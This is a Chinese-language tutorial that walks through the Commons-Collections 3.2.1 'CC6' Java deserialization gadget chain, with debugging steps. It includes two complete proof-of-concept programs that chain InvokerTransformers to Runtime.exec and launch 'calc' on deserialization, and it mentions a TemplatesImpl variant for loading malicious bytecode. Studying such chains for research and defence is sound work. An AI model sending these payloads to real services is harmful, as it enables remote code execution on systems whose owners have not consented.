0x01 前言

CC6与CC1类似,sink都是ChainedTransformer#transform,但入口类CC6使用的是HashSet#readObject,而不是AnnotationInvocationHandler,所以CC6对jdk并没有限制。cc限制为commons-collections 3.2.1及之前,commons-collections4.0。

  1. <dependency>
  2. <groupId>commons-collections</groupId>
  3. <artifactId>commons-collections</artifactId>
  4. <version>3.2.1</version>
  5. </dependency>

0x02 相关知识

HashSet

HashSet 基于 HashMap 来实现的,是一个不允许有重复元素的集合。在反序列化过程中会调用到集合中元素的hashCode方法。TiedMapEntry的hashCode方法如下,该方法中调用了getValue方法,从CC5中我们可以知道,该方法会调用Map.get方法从而触发LazyMap利用链。
image.png

0x03 利用链分析

  1. import org.apache.commons.collections.Transformer;
  2. import org.apache.commons.collections.functors.ChainedTransformer;
  3. import org.apache.commons.collections.functors.ConstantTransformer;
  4. import org.apache.commons.collections.functors.InvokerTransformer;
  5. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  6. import java.io.*;
  7. import java.lang.reflect.Field;
  8. import java.util.HashMap;
  9. import java.util.HashSet;
  10. import java.util.Map;
  11. public class cc6 {
  12. public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
  13. Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});
  14. Transformer[] transformers=new Transformer[]{
  15. new ConstantTransformer(Runtime.class),
  16. new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
  17. new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
  18. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
  19. };
  20. Map map=new HashMap();
  21. Map lazyMap=LazyMap.decorate(map,Testtransformer);
  22. TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
  23. HashSet hashSet=new HashSet(1);
  24. hashSet.add(tiedMapEntry);
  25. lazyMap.remove("test1");
  26. //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
  27. Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
  28. field.setAccessible(true);
  29. field.set(Testtransformer, transformers);
  30. ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
  31. objectOutputStream.writeObject(hashSet);
  32. objectOutputStream.close();
  33. ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
  34. objectInputStream.readObject();
  35. }
  36. }

首先看第一部分,这部分跟其它CC链中调用ChainedTransformer的方法有些不同,在给LazyMap添加装饰器的时候添加的是一个空的ChainedTransformer对象。

  1. Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});
  2. Transformer[] transformers=new Transformer[]{
  3. new ConstantTransformer(Runtime.class),
  4. new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
  5. new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
  6. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
  7. };
  8. Map map=new HashMap();
  9. Map lazyMap=LazyMap.decorate(map,Testtransformer);
  10. TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");

第二部分有点怪,新建了一个HashSet对象并将tiedMapEntry对象添加到HashSet中。这里存在一个问题,为什么lazyMap要remove这个key呢?我们前面的代码根本没有给lazyMap增加test1这个key-value。

  1. HashSet hashSet=new HashSet(1);
  2. hashSet.add(tiedMapEntry);
  3. lazyMap.remove("test1");

问题出在hashSet.add这里,执行该语句后,我们的lazyMap会增加一个key-value,键值都是test1,调试跟进一下就明白了。
调用add语句后,跟进add方法
image.png
HashSet#add会调用HashMap#put方法
image.png
接着会调用HashMap#hash方法
image.png
接着会调用TiedMapEntry#hashCode方法
image.png
接着会调用TiedMapEntry#getValue方法
image.png
接着会调用LazyMap#get方法,key为test1,此时的lazyMap为空,也就不存在test1这个key,if判断为真,接着会调用factory.transform方法,由于ChainedTransformer空,所以value值也为test1,然后将这对key-value写入lazyMap中,这就是为什么我们需要删除lazyMap中test1这对key-value的原因,否则在反序列化中LazyMap#get的key是存在的,也就不会触发transform方法。这里删除lazyMap中这个键值是最方便的,我们也可以通过反射修改TiedMapEntry的key字段达到同样的效果
image.png
从下图我们也可以知道我们为什么CC6最开始不像原来的CC一样直接将Transformer给ChainedTransformer,而是新建一个空的ChainedTransformer来替代,因为如果像其它CC,在图中位置时便会触发transform利用链,当然,如果喜欢弹两次计算器也不是不行。
image.png
最后一部分代码则是通过反射将transformers给Testtransformer的iTransformers字段,完成整个链的拼图。

  1. Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
  2. field.setAccessible(true);
  3. field.set(Testtransformer, transformers);

利用链:

  1. ObjectInputStream.readObject()
  2. HashSet.readObject()
  3. HashMap.put()
  4. HashMap.hash()
  5. TiedMapEntry.hashCode()
  6. TiedMapEntry.getValue()
  7. LazyMap.get()
  8. ChainedTransformer.transform()
  9. ConstantTransformer.transform()
  10. InvokerTransformer.transform()
  11. Method.invoke()
  12. Class.getMethod()
  13. InvokerTransformer.transform()
  14. Method.invoke()
  15. Runtime.getRuntime()
  16. InvokerTransformer.transform()
  17. Method.invoke()
  18. Runtime.exec()

0x04 利用链调试

HashSet#readObject,此时参数e为TiedMapEntry对象
image.png
HashMap#put
image.png
HashMap#hash
image.png
TiedMapEntry#hashCode
image.png
TiedMapEntry#getValue
image.png
LazyMap#get
image.png
然后就是再熟悉不过的ChainedTransformer#transform了,就略过了。
image.png

0x05 总结

CC6的入口类使用的是HashSet,这是之前CC没出现过的,好像每一次CC递增,都会出现不同的sink或者source或者中继,可能这就是CC顺序的依据吧。
CC6也可以使用HashMap作为入口类,HashMap#readObject存在hash方法,会将key进行hash,而key则是我们传入的TiedMapEntry,利用链如下:
image.png

  1. import org.apache.commons.collections.Transformer;
  2. import org.apache.commons.collections.functors.ChainedTransformer;
  3. import org.apache.commons.collections.functors.ConstantTransformer;
  4. import org.apache.commons.collections.functors.InvokerTransformer;
  5. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  6. import org.apache.commons.collections.map.LazyMap;
  7. import java.io.*;
  8. import java.lang.reflect.Field;
  9. import java.util.HashMap;
  10. import java.util.HashSet;
  11. import java.util.Map;
  12. public class cc6 {
  13. public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
  14. Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});
  15. Transformer[] transformers=new Transformer[]{
  16. new ConstantTransformer(Runtime.class),
  17. new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
  18. new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
  19. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
  20. };
  21. Map map=new HashMap();
  22. Map lazyMap=LazyMap.decorate(map,Testtransformer);
  23. TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
  24. HashMap hashMap=new HashMap(1);
  25. hashMap.put(tiedMapEntry,"value");
  26. lazyMap.remove("test1");
  27. //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
  28. Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
  29. field.setAccessible(true);
  30. field.set(Testtransformer, transformers);
  31. ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
  32. objectOutputStream.writeObject(hashMap);
  33. objectOutputStream.close();
  34. ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
  35. objectInputStream.readObject();
  36. }
  37. }

最后,我们能否对CC6进行一些变异呢?比如像CC5一样将sink ChainedTransformer更改为TemplatesImpl加载恶意字节码呢?经过测试也是可以的,参考CC5即可。

利用链 Sink Source
CC5 ChainedTransformer/TemplatesImpl BadAttributeValueExpException
CC6 ChainedTransformer/TemplatesImpl HashSet/HashMap